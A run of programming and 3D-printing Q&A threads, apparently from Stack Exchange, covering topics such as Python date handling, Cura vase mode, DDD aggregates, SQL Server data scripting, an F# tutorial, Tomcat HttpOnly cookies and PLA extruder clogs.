>>> calendar.monthrange(2002, 1)
(1, 31)
>>> calendar.monthrange(2008, 2) # leap years are handled correctly
(4, 29)
>>> calendar.monthrange(2100, 2) # years divisible by 100 but not 400 aren't leap years
(0, 28)
</code></pre>
<p>so:</p>
<pre><code>calendar.monthrange(year, month)[1]
</code></pre>
<p>seems like the simplest way to go.</p>
|
<p>If you pass in a date range, you can use this:</p>
<pre><code>def last_day_of_month(any_days):
res = []
for any_day in any_days:
nday = any_day.days_in_month -any_day.day
res.append(any_day + timedelta(days=nday))
return res
</code></pre>
| 6,456
|
<p>I keep hearing about vase mode, but I have some problem figuring out how to set it up in my slicer; I use Cura slicer.</p>
<p>So, I'd like to get some settings to do it in Ultimaker Cura, using PLA if the material is important, plus any advice on how to properly do it and ensure that the print retains it's shape on print.</p>
|
<p>Vase Mode changed the name in some version before 3.5. Now you can achieve this with 2 modes: "Surface Mode" and "Spiralize Outer Contour". To turn it on do this:</p>
<ul>
<li>Choose the Custom setting menu on the right</li>
<li>click a gear to set up what settings you want to see</li>
<li>Under the header "Special Modes" you find both Surface Mode and Spiralize Outer Contour</li>
<li>set the checkmarks on both</li>
</ul>
<p>Turning on the Surface mode to <code>Surface</code> and checking <code>Spiralize Outer Contour</code> gets the "classic" Vase Mode.</p>
<p>Turning on <code>Surface</code> without <code>Spiralize Outer Contour</code> gets an infill-less outer perimeter</p>
<p>Now, the <em>classic</em> Vase mode will only print the <em>single most outer perimeter</em> of a print, so your model will have to be very limited with angles and contain no bridges - with one perimeter, you will only be able to print at best 45° angles!</p>
|
<p>Option <code>Spiralize</code> makes your model one layer thick on outer edges.</p>
<p>What I do for a vase is set the top layer count to zero.</p>
| 1,121
|
<p>DDD states that you should only ever access entities through their aggregate root. So say for instance that you have an aggregate root X which potentially has a <em>lot</em> of child Y entities. Now, for some scenario, you only really care about a subset of these Y entities at a time (maybe you're displaying them in a paged list or whatever).</p>
<p>Is it OK to implement a repository then, so that in such scenarios it returns an <em>incomplete</em> aggregate? Ie. an X object who'se Ys collection only contains the Y instances we're interested in and not <em>all</em> of them? This could for instance cause methods on X which perform some calculation involving the Ys to not behave as expected.</p>
<p>Is this perhaps an indication that the Y entity in question should be considered promoted to an aggregate root?</p>
<p>My current idea (in C#) is to leverage the delayed execution of LINQ, so that my X object has an IQueryable to represent its relationship with Y. This way, I can have transparent lazy loading with filtering... But getting this to work with an ORM (Linq to Sql in my case) might be a bit tricky.</p>
<p>Any other clever ideas?</p>
|
<p>I consider an aggregate root with a <em>lot</em> of child entities to be a code smell, or a DDD smell if you will. :-) Generally I look at two options.</p>
<ol>
<li>Split your aggregate into many smaller aggregates. This means that my original design was not optimal and I need to identify some new entities.</li>
<li>Split your domain into multiple bounded contexts. This means that there are specific sets of scenarios that use a common subset of the entities in the aggregate, while there are other sets of scenarios that use a different subset.</li>
</ol>
|
<p>You are allowed since the code will compile anyway, but if you're going for a pure DDD design you should not have incomplete instances of objects.</p>
<p>You should look into LazyLoading if you're afraid to load a huge object of which you will only use a small portion of its child entities.</p>
<p>LazyLoading delays the loading of whatever you decide to lazy-load until the moment they are accessed. They make use of callbacks to call the loading method once the code calls for them.</p>
| 4,469
|
<p>I'm looking for a good GUI designer for swing in eclipse. My preference is for a free/open-source plugin.</p>
|
<p><a href="https://developers.google.com/java-dev-tools/wbpro/" rel="noreferrer">Window Builder Pro</a> is a great GUI Designer for eclipse and is now offered for free by google.</p>
|
<p>I use GWTDesigner <a href="http://www.instantiations.com/gwtdesigner/" rel="nofollow noreferrer">http://www.instantiations.com/gwtdesigner/</a> which is not free but works well. Best of all, their customer support is top notch - very responsive.</p>
| 4,907
|
<p>I have recently started having problems with TortoiseCVS, or more specifically with plink, the SSH application that comes with it. The IP address it tries to connect to can not be changed and is stuck with the old CVS repository's IP. Downloading plink from it's home site and calling from the command line still has this problem.</p>
<p>TortoiseCVS has the option to choose the SSH application it uses and I was wondering which other alternatives there are that I can use instead?</p>
|
<p>Are you sure this is a problem with plink? It sounds to me like you have CVS/Root files lying around that still point to the old cvs ip address. In general, CVS doesn't make changing repositories into a fun process. Since you are using Windows, if you install WinCVS with macros support (Python module loaded) it has a macro that can be used to mass change CVS roots.</p>
<p>Otherwise, its up to you to script the process.</p>
<p>FWIW, I've used plink quite a bit and never had a similar problem.</p>
|
<p>+1 for PuTTy... been using it for the last decade and never needed anything else!</p>
| 4,270
|
<p>I have a database with a table Customers that have some data<br><br>
I have another database in the office that everything is the same, but my table Customers is empty<br><br>
How can I create a sql file in SQL Server 2005 (T-SQL) that takes everything on the table Customers from the first database, creates a, let's say, buildcustomers.sql, I zip that file, copy it across the network, execute it in my SQL Server and voila! my table Customers is full<br>
<br>
How can I do the same for a whole database?</p>
|
<p>This functionality is already built in to Sql Server Management Studio 2008. </p>
<p>Just download <a href="http://www.microsoft.com/sqlserver/2008/en/us/trial-software.aspx" rel="noreferrer">the trial</a> and only install the client tools (which shouldn't expire). Use Management Studio 2008 to connect to your 2005 database (its backwards compatible).</p>
<ol>
<li>Right click your database</li>
<li>Choose <strong>Tasks</strong> > <strong>Generate Scripts</strong></li>
<li>Press Next, select your database again</li>
<li>On the 'Choose Script Options' screen, there is an option called <strong>Script Data</strong> which will generate SQL insert statements for all your data.</li>
</ol>
<p>(Note: for SQL Server Management Studio 2008 R2, the option is called "Types of data to script" and is the last one in the General section. The choices are "data only", "schema and data", and "schema only")</p>
<p><img src="https://imgur.com/xM9nm.jpg" alt="alt text">
<img src="https://imgur.com/wV1BV.jpg" alt="alt text"></p>
|
<p>If both databases resides in the same instance of SQL Server, ie use same connection, this SQL might be helpful:</p>
<pre><code>INSERT INTO [DestinationDB].[schema].[table] ([column])
SELECT [column] FROM [OriginDB].[schema].[table]
GO
</code></pre>
| 4,073
|
<p>Looks like here in StackOveflow there is a group of <strong>F#</strong> enthusiasts. </p>
<p>I'd like to know better this language, so, apart from the <a href="http://en.wikipedia.org/wiki/Functional_programming" rel="noreferrer">functional programming theory</a>, can you point me to the better starting points to start using the F# language? I mean, tutorials, how-tos, but first of all working samples to have the chance to start doing something and enjoy the language.</p>
<p>Thanks a lot</p>
<p>Andrea</p>
|
<p>Not to whore myself horribly but I wrote a couple F# overview posts on my blog <a href="http://www.codegrunt.co.uk/blog/?p=58" rel="noreferrer">here</a> and <a href="http://www.codegrunt.co.uk/blog/?p=81" rel="noreferrer">here</a>. Chris Smith (guy on the F# team at MS) has an article called 'F# in 20 minutes' - <a href="http://blogs.msdn.com/chrsmith/archive/2008/05/02/f-in-20-minutes-part-i.aspx" rel="noreferrer">part 1</a> and <a href="http://blogs.msdn.com/chrsmith/archive/2008/05/09/f-in-20-minutes-part-ii.aspx" rel="noreferrer">part 2</a>.</p>
<p>Note you have to be careful as the latest CTP of F# (version 1.9.6.0) has some seriously breaking changes compared to previous versions, so some examples/tutorials out there might not work without modification.</p>
<p>Here's a quick run-down of some cool stuff, maybe I can give you a few hints here myself which are clearly <em>very</em> brief and probably not great but hopefully gives you something to play with!:-</p>
<p>First note - most examples on the internet will assume 'lightweight syntax' is turned on. To achieve this use the following line of code:-</p>
<pre><code>#light
</code></pre>
<p>This prevents you from having to insert certain keywords that are present for OCaml compatibility and also having to terminate each line with semicolons. Note that using this syntax means indentation defines scope. This will become clear in later examples, all of which rely on lightweight syntax being switched on.</p>
<p>If you're using the interactive mode you have to terminate all statements with double semi-colons, for example:-</p>
<pre><code> > #light;;
> let f x y = x + y;;
val f : int -> int -> int
> f 1 2;;
val it : int = 3
</code></pre>
<p>Note that interactive mode returns a 'val' result after each line. This gives important information about the definitions we are making, for example 'val f : int -> int -> int' indicates that a function which takes two ints returns an int.</p>
<p>Note that only in interactive do we need to terminate lines with semi-colons, when actually defining F# code we are free of that :-)</p>
<p>You define functions using the 'let' keyword. This is probably the most important keyword in all of F# and you'll be using it a lot. For example:-</p>
<pre><code>let sumStuff x y = x + y
let sumStuffTuple (x, y) = x + y
</code></pre>
<p>We can call these functions thus:-</p>
<pre><code>sumStuff 1 2
3
sumStuffTuple (1, 2)
3
</code></pre>
<p>Note there are two different ways of defining functions here - you can either separate parameters by whitespace or specify parameters in 'tuples' (i.e. values in parentheses separated by commas). The difference is that we can use 'partial function application' to obtain functions which take less than the required parameters using the first approach, and not with the second. E.g.:-</p>
<pre><code>let sumStuff1 = sumStuff 1
sumStuff 2
3
</code></pre>
<p>Note we are obtaining a function from the expression 'sumStuff 1'. When we can pass around functions just as easily as data that is referred to as the language having 'first class functions', this is a fundamental part of any functional language such as F#.</p>
<p>Pattern matching is pretty darn cool, it's basically like a switch statement on steroids (yeah I nicked that phrase from another F#-ist :-). You can do stuff like:-</p>
<pre><code>let someThing x =
match x with
| 0 -> "zero"
| 1 -> "one"
| 2 -> "two"
| x when x < 0 -> "negative = " + x.ToString()
| _ when x%2 = 0 -> "greater than two but even"
| _ -> "greater than two but odd"
</code></pre>
<p>Note we use the '_' symbol when we want to match on something but the expression we are returning does not depend on the input.</p>
<p>We can abbreviate pattern matching using if, elif, and else statements as required:-</p>
<pre><code>let negEvenOdd x = if x < 0 then "neg" elif x % 2 = 0 then "even" else "odd"
</code></pre>
<p>F# lists (which are implemented as linked lists underneath) can be manipulated thus:-</p>
<pre><code>let l1 = [1;2;3]
l1.[0]
1
let l2 = [1 .. 10]
List.length l2
10
let squares = [for i in 1..10 -> i * i]
squares
[1; 4; 9; 16; 25; 36; 49; 64; 81; 100]
let square x = x * x;;
let squares2 = List.map square [1..10]
squares2
[1; 4; 9; 16; 25; 36; 49; 64; 81; 100]
let evenSquares = List.filter (fun x -> x % 2 = 0) squares
evenSqares
[4; 16; 36; 64; 100]
</code></pre>
<p>Note the List.map function 'maps' the square function on to the list from 1 to 10, i.e. applies the function to each element. List.filter 'filters' a list by only returning values in the list that pass the predicate function provided. Also note the 'fun x -> f' syntax - this is the F# lambda.</p>
<p>Note that throughout we have not defined any types - the F# compiler/interpreter 'infers' types, i.e. works out what you want from usage. For example:-</p>
<pre><code>let f x = "hi " + x
</code></pre>
<p>Here the compiler/interpreter will determine x is a string since you're performing an operation which requires x to be a string. It also determines the return type will be string as well.</p>
<p>When there is ambiguity the compiler makes assumptions, for example:-</p>
<pre><code>let f x y = x + y
</code></pre>
<p>Here x and y could be a number of types, but the compiler defaults to int. If you want to define types you can using type annotation:-</p>
<pre><code>let f (x:string) y = x + y
</code></pre>
<p>Also note that we have had to enclose x:string in parentheses, we often have to do this to separate parts of a function definition.</p>
<p>Two really useful and heavily used operators in F# are the pipe forward and function composition operators |> and >> respectively.</p>
<p>We define |> thus:-</p>
<pre><code>let (|>) x f = f x
</code></pre>
<p>Note that you can define operators in F#, this is pretty cool :-).</p>
<p>This allows you to write things in a clearer way, e.g.:-</p>
<pre><code>[1..10] |> List.map (fun x -> x * x) |> List.filter (fun x -> x % 2 = 0)
</code></pre>
<p>Will allow you to obtain the first 10 even squares. That is clearer than:-</p>
<pre><code>List.filter (fun x -> x % 2 = 0) (List.map (fun x -> x * x) [1..10])
</code></pre>
<p>Well, at least I think so :-)</p>
<p>Function composition defined by the >> operator is defined as follows:-</p>
<pre><code>let (>>) f g x = g(f(x))
</code></pre>
<p>I.e. you forward-pipe an operation only the parameter of the first function remains unspecified. This is useful as you can do the following:-</p>
<pre><code>let mapFilter = List.map (fun x -> x * x) >> List.filter (fun x -> x % 2 = 0)
</code></pre>
<p>Here mapFilter will accept a list an input and return the list filtered as before. It's an abbreviated version of:-</p>
<pre><code>let mapFilter = l |> List.map (fun x -> x * x) |> List.filter (fun x -> x % 2 = 0)
</code></pre>
<p>If we want to write recursive functions we have to define the function as recursive by placing 'rec' after the let. Examples below.</p>
<p><em>Some cool stuff:-</em></p>
<p><strong>Factorial</strong></p>
<pre><code>let rec fact x = if x <= 1 then 1 else x * fact (x-1)
</code></pre>
<p><strong>nth Fibonacci Number</strong></p>
<pre><code>let rec fib n = if n <= 1 then n else fib (n-1) + fib (n-2)
</code></pre>
<p><strong>FizzBuzz</strong></p>
<pre><code>let (/%) x y = x % y = 0
let fb = function
| x when x /% 15 -> "FizzBuzz"
| x when x /% 3 -> "Fizz"
| x when x /% 5 -> "Buzz"
| x -> x.ToString()
[1..100] |> List.map (fb >> printfn "%s")
</code></pre>
<p>Anyway that's a <em>very</em> brief overview, hopefully it helps a little!!</p>
|
<p>Check out the <a href="http://msdn.microsoft.com/en-gb/fsharp/default.aspx" rel="nofollow noreferrer">F# Developer Center</a>. There is also <a href="http://cs.hubfs.net/forums/default.aspx" rel="nofollow noreferrer">hubFS</a>, a forum dedicated to F#.</p>
| 5,694
|
<p>What is the difference between early and late binding?</p>
|
<p>The short answer is that early (or static) binding refers to compile time binding and late (or dynamic) binding refers to runtime binding (for example when you use reflection).</p>
|
<pre><code>public class child()
{ public void method1()
{ System.out.println("child1");
}
public void method2()
{ System.out.println("child2");
}
}
public class teenager extends child()
{ public void method3()
{ System.out.println("teenager3");
}
}
public class adult extends teenager()
{
public void method1()
{ System.out.println("adult1);
super.method1();
}
}
//In java
public static void main(String []args)
{ ((teenager)var).method1();
}
</code></pre>
<p>This will print out</p>
<pre><code>adult1
child1
</code></pre>
<p>In early binding the compiler will have access to all of the methods
in child and teenager
but in late binding (at runtime), it will check for methods that are overridden
at runtime.</p>
<p>Hence method1(from child -- early binding) will be overridden by the method1 from adult at runtime(late binding)
Then it will implement method1 from child since there is no method1 in method1 in teenager.</p>
<p>Note that if child did not have a method1 then the code in the main would not compile.</p>
| 3,176
|
<p>We are trying to repair an Ultimaker Original+. One problem is a missing resistor isolation. The Ultimaker Original+ prints with up to 260 Degree Celcius.</p>
<p><strong>Which kind of isolation products are suitable to resist the heat and are fitting on the thin wires of the thermistor?</strong></p>
|
<p>The most common choice for insulating thermistors is glass fiber sleeving. It tolerates very high temperatures, and is commonly rated for up to 600 °C.</p>
<p>Teflon is also used but has a rather low upper limit on its working temperature; it shouldn't be used at temperatures exceeding 260 °C - which rules it out for your purpose.</p>
|
<p>There are many materials you can use one that came to my mind is this High Temperature & Pressure Sealant and also the best way to apply it so it can be removed easy is this . take a kitchen food very thing nylon cover you know the very thin elastic one or cover the parts with some type of release agent (dont use something that inhibit silicone like sulfur or sulfur containing staff) and apply it over it then when is solid cut it and release it it would be like a glove i hope ;)There are silicone that are really high temp 1000 f to 2000 f good luck :) </p>
| 489
|
<p>Say I have several JavaScript includes in a page:</p>
<pre><code><script type="text/javascript" src="/js/script0.js"></script>
<script type="text/javascript" src="/js/script1.js"></script>
<script type="text/javascript" src="/js/script2.js"></script>
<script type="text/javascript" src="/js/script3.js"></script>
<script type="text/javascript" src="/js/script4.js"></script>
</code></pre>
<p>Is there a way i can tell if any of those weren't found (404) without having to manually check each one? I guess i'm looking for an online tool or something similar. Any ideas?</p>
|
<p>If you get the <a href="https://addons.mozilla.org/en-US/firefox/addon/1843" rel="noreferrer" title="Firebug">Firebug</a> firefox plugin and enable the consoles it should tell you when there are errors retrieving resources in the console.</p>
|
<p>If you don't want to check it manually on the client you will need to do this server-side. You need to make sure whichever webserver you are using is configured to log 404s and then check that log to see which HTTP requests have failed.</p>
| 8,144
|
<p>When I call <code>socket.getsockname()</code> on a socket object, it returns a tuple of my machine's internal IP and the port. However, I would like to retrieve my external IP. What's the cheapest, most efficient manner of doing this?</p>
|
<p>This isn't possible without cooperation from an external server, because there could be any number of NATs between you and the other computer. If it's a custom protocol, you could ask the other system to report what address it's connected to.</p>
|
<p>Using the address suggested in the source of <a href="http://whatismyip.com" rel="nofollow noreferrer">http://whatismyip.com</a></p>
<pre><code>import urllib
def get_my_ip_address():
whatismyip = 'http://www.whatismyip.com/automation/n09230945.asp'
return urllib.urlopen(whatismyip).readlines()[0]
</code></pre>
| 8,266
|
<pre><code>var e1 = new E1();
e1.e2s.Add(new e2()); //e2s is null until e1 is saved, i want to save them all at the same time
context.e1s.imsertonsubmit(e1);
context.submitchanges();
</code></pre>
|
<p>The sub items will be saved along with the main item, and even identities will be set properly, if you give your DataClasses an association between these classes.</p>
<p>You do this by adding LoadOptions to your O/R-Designer DataClasses like this:</p>
<pre><code> MyDataContext mydc = new MyDataContext();
System.Data.Linq.DataLoadOptions lo = new System.Data.Linq.DataLoadOptions();
lo.LoadWith<E1>(p => p.e2s);
mydc.LoadOptions = lo;
</code></pre>
<p>This way LINQ will take care of adding the sub-items, you don't need to InsertOnSubmit every one by itself.
A side effect: upon loading the item, the subitems will be retrieved, too.</p>
|
<p>Well - I don't know if your initial code block would work, but I'm guessing you have to mark your new e2 as insert on submit. Thus:</p>
<pre><code>var e1 = new E1();
var e2 = new e2();
e1.e2s.Add(e2); //e2s is null until e1 is saved, i want to save them all at the same time
context.e1s.insertonsubmit(e1);
context.e2s.insertonsubmit(e2);
context.submitchanges();
</code></pre>
| 7,614
|
<p>Several times now I've been faced with plans from a team that wants to build their own bug tracking system - Not as a product, but as an internal tool.</p>
<p>The arguments I've heard in favous are usually along the lines of :</p>
<ul>
<li>Wanting to 'eat our own dog food' in terms of some internally built web framework</li>
<li>Needing some highly specialised report, or the ability to tweak some feature in some allegedly unique way</li>
<li>Believing that it isn't difficult to build a bug tracking system</li>
</ul>
<p>What arguments might you use to support buying an existing bug tracking system? In particular, what features sound easy but turn out hard to implement, or are difficult and important but often overlooked?</p>
|
<p>First, look at these <a href="http://ohloh.net" rel="noreferrer">Ohloh</a> metrics:</p>
<pre><code> Trac: 44 KLoC, 10 Person Years, $577,003
Bugzilla: 54 KLoC, 13 Person Years, $714,437
Redmine: 171 KLoC, 44 Person Years, $2,400,723
Mantis: 182 KLoC, 47 Person Years, $2,562,978
</code></pre>
<p>What do we learn from these numbers? We learn that building Yet Another Bug Tracker is a great way to waste resources!</p>
<p>So here are my reasons to build your own internal bug tracking system:</p>
<ol>
<li>You need to neutralize all the bozocoders for a decade or two.</li>
<li>You need to flush some money to avoid budget reduction next year.</li>
</ol>
<p>Otherwise don't.</p>
|
<p>I agree with most of the people here. It is no use to rebuild something when there are many tools (even free) available.
If you want to customize anything, most of the free tools give you the code, play with it.</p>
<p>If you do new development, you should not be doing it for yourself only.</p>
| 8,752
|
<p>I'm using brand new PLA filament and am getting frequent clogs in my extruder.</p>
<p>I've had this problem with 2 different filaments from 2 different vendors.</p>
<p>It will be print just fine, then clog up. It doesn't ever seem to go more than 5 minutes before clogging. When it clogs, and I pull out the filament, it is always twisted in a spiral (helix) shape like a corkscrew. I have put a picture of 2 clogs below.</p>
<p>I have tried using temperature of 220 all the way down to 180 in increments of 5 degrees and seem to get the same result. it prints the base layer GREAT on the 70 degree heated bed. No warping or peeling off. However, after a few layers, it clogs up and stops extruding.</p>
<p>I am using an HIC PRUSA I3 printer with a single extruder head. I've only had the printer for a couple weeks. It had been printing fine with ABS, but the ABS would peel up from the heated bed, so somebody suggested that I use PLA and hairspray. Hairspray is AWESOME !! It sticks really well and removes easily as well (once the bed cools a bit).</p>
<p>Please let me know if you've had the same problem with the extruder just clogging up and twisting the filament into a corkscrew shape.</p>
<p>By the way, pay no attention to the black marks on the green filament below. That's just me marking every half inch or so with a sharpie marker to see if it's still being extruded.</p>
<p><a href="https://i.stack.imgur.com/qKNR5.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/qKNR5.jpg" alt="Filament Helix"></a></p>
<p>I think I figured out the problem. Now, to figure out a solution...
Take a look at the image below. There is a 1 inch tube that goes from the heat element to the heat sink. This 1 inch of tubing is REALLY hot and larger than 1.75mm. So, the filament goes through that tube on its way to the head and gets soft in the tube because the tube is so hot all the way down to the head. When the filament gets hot, it melts and bends and curls which makes it NOT push itself into the heated tip and out onto whatever I'm printing.</p>
<p>The solution would be to find some way to cool this 1 inch shaft between the heat sink and the heated head so that the filament inside of it won't melt.</p>
<p>Any ideas??? </p>
<p><a href="https://i.stack.imgur.com/hFkPM.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/hFkPM.jpg" alt="Extruder Assembly"></a></p>
<p>Here is a picture of my heat tip. Note the shaft has about 1 inch sticking out of the heater. The top of that (above the white arrow) is inside the heat sink. But 3/4 inches of it are bare and uncovered. There is also no teflon tube inside the metal throat.</p>
<p><a href="https://i.stack.imgur.com/i05Vo.png" rel="noreferrer"><img src="https://i.stack.imgur.com/i05Vo.png" alt="enter image description here"></a></p>
<p><a href="https://i.stack.imgur.com/08pZq.png" rel="noreferrer"><img src="https://i.stack.imgur.com/08pZq.png" alt="Another picture of the extruder"></a></p>
|
<p>The shape you get is quite easy to explain. It's the shape of the lowest energy possible in your situation. Simple but it doesn't explain the issue... or does it?</p>
<p>It does. The filament cannot be put into the extruder as it becomes plugged. This leads us to some obvious explanations. You can read <a href="https://3dprinting.stackexchange.com/questions/904/teflon-tubing-in-nozzle-throat-coming-out/906#906">this post</a>.</p>
<p>So how is that possible that there is enough room to form such corkscrew? My bet is you don't have teflon pipe inside the extruder heatsink. So filament goes into the heatsink and everything is ok until the heatsink itself warms up to the temperature when filament becomes soft, then there is no enough force to push the filament out of the nozzle so above the nozzle filament bends and forms the shape of the lowest energy as said.</p>
<p>Options to check:</p>
<ol>
<li>Take your extruder apart. See if there is a teflon pipe. If its length is proper. </li>
<li>Check if cooling fan is working well, if it's pushing air to the heatsing but not sucks from the heatsink.</li>
</ol>
<p><strong>[edit]</strong></p>
<p>Looking closer to your photos I'm pretty sure you don't have such teflon pipe. Your spiral has flat external (virtual) surface... it looks exactly as it would be pushed into hot pipe with diameter of 4mm.</p>
<p><strong>[edit2]</strong>
please take a look on the picture
<a href="https://i.stack.imgur.com/YQKDd.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/YQKDd.jpg" alt="enter image description here"></a></p>
|
<p>The distance between heat block and heat sink is too big (3/4 inch, almost 2 cm). In this area your filament is some half melt state, not cooled as in heat sink part, not melted as in heat block part. You should make as small as possible, less then 0.5 cm.</p>
<p>Great source of information about hot ends is video created by Thomas Sanladerer: <a href="https://www.youtube.com/watch?v=Kf907duwAAE" rel="nofollow">Build your own 3D Printer: Which hotend to pick!</a></p>
| 274
|
<p>What software is best for the basest of n00bs when it comes to 3D parts creation?</p>
<p>I have a heavy math background and know how to create explicit functions of volume, surface area, center of mass, etc. Ideally, I'd like a program that uses those strengths but I realize that most n00bs have a crippling math phobia so I'm not holding my breath.</p>
<p>I tried freeCAD once and made some headway but the next time I turned my computer on, it refused to open. It was just a weakling netbook that I don't even have in my possession anymore but the computer I'm currently using is rather slow and doesn't seem to have much memory left either, so I still need something lightweight.</p>
<p>tl;dr: Seeking a free, lightweight program to create .stl files that is good for n00bs that are <strong>not</strong> afraid of math.</p>
|
<p>I don't have a heavy math background, but enjoy using such skills when applicable.</p>
<p>If you've not yet explored <a href="http://www.openscad.org/" rel="nofollow noreferrer">OpenSCAD</a>, you may find that it meets your qualifications. It's more or less a scripting/descriptive language "compiler" that takes ordinary text and converts it to your model design. I use quotes, because I'm not skilled enough to qualify it as a true compiler, although it works in a similar manner and may indeed be a compiler.</p>
<p>It meets another qualification of yours in that it's free and there's quite a supportive mailing list/forum for any questions or difficulties that arise. If you look on Thingiverse using OpenSCAD as a search term, you'll find others' code available for examination and integration into your own models.</p>
<p>For the folks who are not so much into the math and text and logic, there's a GUI of sorts for OpenSCAD called <a href="https://www.blockscad3d.com/" rel="nofollow noreferrer">BlocksCAD</a> that allows drag and drop of various modules in a manner akin to Scratch programming. </p>
<p>I'd been using OpenSCAD long enough that I found BlocksCAD to overly complicate the creation of models by obscuring details. It may be better suited for younger model makers in that respect.</p>
<p>Syntax and punctuation errors would be eliminated with BlocksCAD, while it's far too easy to create such errors in the editor for OpenSCAD. One gets used to it and error count quickly is reduced.</p>
|
<p>I would add OnShape.com to the list. The only downside of a free account is that your designs are publicly viewable.</p>
<p>I would also add support for OpenSCAD. It is my go-to program for difficult problems, especially where being able to script something is far more efficient that dozens of clicks and careful GUI actions.</p>
| 219
|
<p>I want to write a small utility to call arbitrary functions from a C shared library. User should be able to list all the exported functions similar to what objdump or nm does. I checked these utilities' source but they are intimidating. Couldn't find enough information on google, if dl library has this functionality either.</p>
<p>(Clarification edit: I don't want to just call a function which is known beforehand. I will appreciate an example fragment along your answer.)</p>
|
<p>This might be near to what you're looking for:
<a href="http://python.net/crew/theller/ctypes/" rel="nofollow noreferrer">http://python.net/crew/theller/ctypes/</a></p>
|
<p>Eek! You've touched on one of the very platform-dependent topics of programming. On windows, you have DLLs, on linux, you have <code>ld.so</code>, <code>ld-linux.so</code>, and mac os x's <code>dyld</code>.</p>
| 9,208
|
<p>After reading Jeff's blog post on <a href="http://www.codinghorror.com/blog/archives/001167.html" rel="noreferrer">Protecting Your Cookies: HttpOnly</a>. I'd like to implement HttpOnly cookies in my web application.</p>
<p>How do you tell tomcat to use http only cookies for sessions?</p>
|
<p>httpOnly is supported as of Tomcat 6.0.19 and Tomcat 5.5.28.</p>
<p>See the <a href="http://tomcat.apache.org/tomcat-6.0-doc/changelog.html" rel="noreferrer">changelog</a> entry for bug 44382. </p>
<p>The last comment for bug <a href="https://issues.apache.org/bugzilla/show_bug.cgi?id=44382" rel="noreferrer">44382</a> states, "this has been applied to 5.5.x and will be included in 5.5.28 onwards." However, it does not appear that 5.5.28 has been released.</p>
<p>The httpOnly functionality can be enabled for all webapps in <strong>conf/context.xml</strong>:</p>
<pre><code><Context useHttpOnly="true">
...
</Context>
</code></pre>
<p>My interpretation is that it also works for an individual context by setting it on the desired <strong><em>Context</em></strong> entry in <strong>conf/server.xml</strong> (in the same manner as above).</p>
|
<p>Implementation: in Tomcat 7.x/8.x/9.x</p>
<p>Go to Tomcat >> conf folder
Open web.xml and add below in session-config section</p>
<pre><code> <cookie-config>
<http-only>true</http-only>
<secure>true</secure>
</cookie-config>
</code></pre>
| 5,346
|
<p>I've built the mechanics of my 3D printer myself, because I need to print parts that are really huge, (and for budget reasons). <strong>So, I already have the 3D movement functionality.</strong></p>
<p>But what I need now, is the printing mechanism itself. I've been reading a lot, but it became clear to me that things are more complicated than I thought. </p>
<p>Let's skip mechanics and software, I'm just interested in how the print head works. Can somebody explain me that?</p>
<p>To be honest, I was so naive that I thought that I just had to buy one part with one data wire (print/noprint) and the 5 V/GND wires. But it came to my intension that things are way more complicated. </p>
<p>For example, these RepRap printers have some kind of air tube attached to the print head. I'm not sure what that's all about, is it cooling?</p>
<p>Perhaps I'm always reading the wrong manuals (i.e. the more advanced ones). Can somebody enlighten me or point me to a good starting point?</p>
|
<p>You will certainly find that the print functionality of a 3d printer is a bit more complex than you suggest. The mechanical portions include a means to push the filament into a heated nozzle as well as the software portion to regulate the speed of the filament movement. You haven't referenced the heater cartridge and temperature sensor, but you will discover that aspect soon enough.</p>
<p>The "air tube" you think you've seen is likely called a bowden tube. Such designs permit lighter weight print heads, which is beneficial for speed, acceleration and precision, but has complications with respect to compression of the filament as well as retraction considerations. Non-bowden print heads will have the extruder motor as part of the moving assembly, with the drive wheels very close to the nozzle opening. This allows for flexible filament and more precise control of the filament feed. </p>
<p>Either design has compromises, so one must determine priorities for the design.</p>
<p>Cooling is also a factor. The heater cartridge is designed to heat the nozzle to a specific temperature for the type of filament used, but also requires a means to keep the heat from traveling to the portion of filament not in the nozzle. You'll discover terms such as heat break, referring to narrow threaded portion connecting the nozzle assembly to the heat sink. There will also be a cooling fan to blow air over the heat sink and very often a cooling fan to cool the filament as it exits the nozzle and attaches to the model being printed.</p>
<p>You suggest to ignore the mechanics and software, but it's important to be aware of both when considering the principles of the print head assembly.</p>
<p>Simplified, filament enters bowden tube then into heat sink, pushed by extruder motor (or) filament is pushed into heat sink by extruder motor. Filament travels through heat break, gets melted in heater block and exits nozzle. Sheesh, that's way too simple.</p>
|
<p>The first point to start would be the RepRap wiki entry for <a href="http://reprap.org/wiki/Category:Extruders" rel="nofollow noreferrer">extruders</a>:</p>
<blockquote>
<h3>cold end</h3>
<p>The "Cold End" is usually the bulk of the extruder. It is
often the actual carriage on one axis and supports the rest of the
parts. In some designs, the "Cold End" is split into two parts; one
part does the driving of the filament that is stationary and connected
to the carriage portion, of a lighter weight design for easier
movement, with a flexible tube. The drive is a motor that rotates a
knurled, hobbed, or toothed pinch wheel against a pressure plate or
bearing with the filament forced between them. Usually, the motor is
geared to the pinch wheel to increase available torque and extrusion
control (smoothness). The gearing can be a 3D printed pinion and gear,
stock worm wheel and gear, or a more expensive integral motor gearbox.
Stepper motors are used almost universally after initial trials with
DC motors did not achieve the required repeatability. Servo motors are
an option, though they are not seen in the literature yet. The final
function, some form of cooling, keeps the "Cold End" cold. With the
close proximity to the "Hot End" and possible heated build platforms
and enclosures, it is sometimes necessary to have additional passive
or active cooling of the cold end parts. Heat sinks and fans are often
used; water and Peltier effect cooling is also discussed. Much of this
bulk is usually made from 3D printed parts and the temperature is
maintained within safe limits.</p>
<h3>hot end attachment</h3>
<p>The "Cold End" is
connected to the "Hot End" across a thermal break or insulator (the
Bowden tube if used is on the cold side of this thermal break). This
has to be rigid and accurate enough to reliably pass the filament from
one side to the other, but still prevent much of the heat transfer.
The materials of choice are usually PEEK plastic with PTFE liners or
PTFE with stainless steel mechanical supports or a combination of all
three. A Hot End is frequently joined to the Cold End using a Groove
Mount where the thermal break or insulator is part of the Hot End
assembly and the Cold End body is provisioned with a cylindrical
recess. Many cold ends push the filament out a large hole centered
between 2 small holes about 50 mm apart. (Is there a name for this
de-facto standard?) Some people rigidly attach a groove mount hot end
to such a cold end with the mounting plate adapter and two short
bolts. A few people put 2 long bolts through those holes and then put
a spring around those bolts to make a spring extruder.</p>
<h3>hot end</h3>
<p>The
"Hot End" is the active part of the 3D printer that melts the
filament. It allows the molten plastic to exit from the small nozzle
to form a thin and tacky bead of plastic that will adhere to the
material it is laid on. The first RepRap hot end was made of brass.
Researchers have also made hot ends from glass or aluminium. The hot
